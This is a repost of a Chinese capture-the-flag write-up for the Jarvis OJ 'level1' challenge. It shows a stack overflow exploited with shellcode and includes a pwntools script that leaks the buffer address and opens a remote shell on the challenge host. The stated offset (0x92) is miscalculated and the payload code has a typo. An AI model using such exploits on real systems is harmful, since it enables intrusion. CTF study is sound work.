首页 > 其他 > 详细

Pwn-level1

时间:2019-10-08 16:58:27      阅读:124      评论:0      收藏:0      [点我收藏+]

题目地址

https://dn.jarvisoj.com/challengefiles/level1.80eacdcd51aca92af7749d96efad7fb5

 

先看一下文件的类型和保护机制   32位的ELF

技术分享图片

没有保护

 技术分享图片

 

用IDA打开看看,没有发现可以直接利用的函数,但是有一个vulnerable_function函数

技术分享图片

由于没有NX的保护,我们可以将输入一段shellcode在buf中,函数返回时跳转到buf位置,就可以执行shellcode

 我们先看一下buf到ret的偏移

0x4到-0x88 一共偏移了0x92

技术分享图片

 技术分享图片

 现在我们还需要一个buf的地址

执行这个文件的时候,会跳出一个地址,这个就是buf的地址

技术分享图片

利用pwntool来编写exp

from pwn import *
r = remote("pwn2.jarvisoj.com",9877)
shellcode = asm(shellcraft.sh()) //通过pwntool的函数获取shell
buffer=r.recvline()[14:-2]  //切片,用于截取字符串里面的地址 ff890e80
buf_addr = int(buffer,16)
payload = a * (0x88+0x4-len(shellcode))+shellcode + p32(buf_addr)
r.sendline(payload)
r.interactive()

技术分享图片

 

 



 

Pwn-level1

原文:https://www.cnblogs.com/gaonuoqi/p/11636035.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!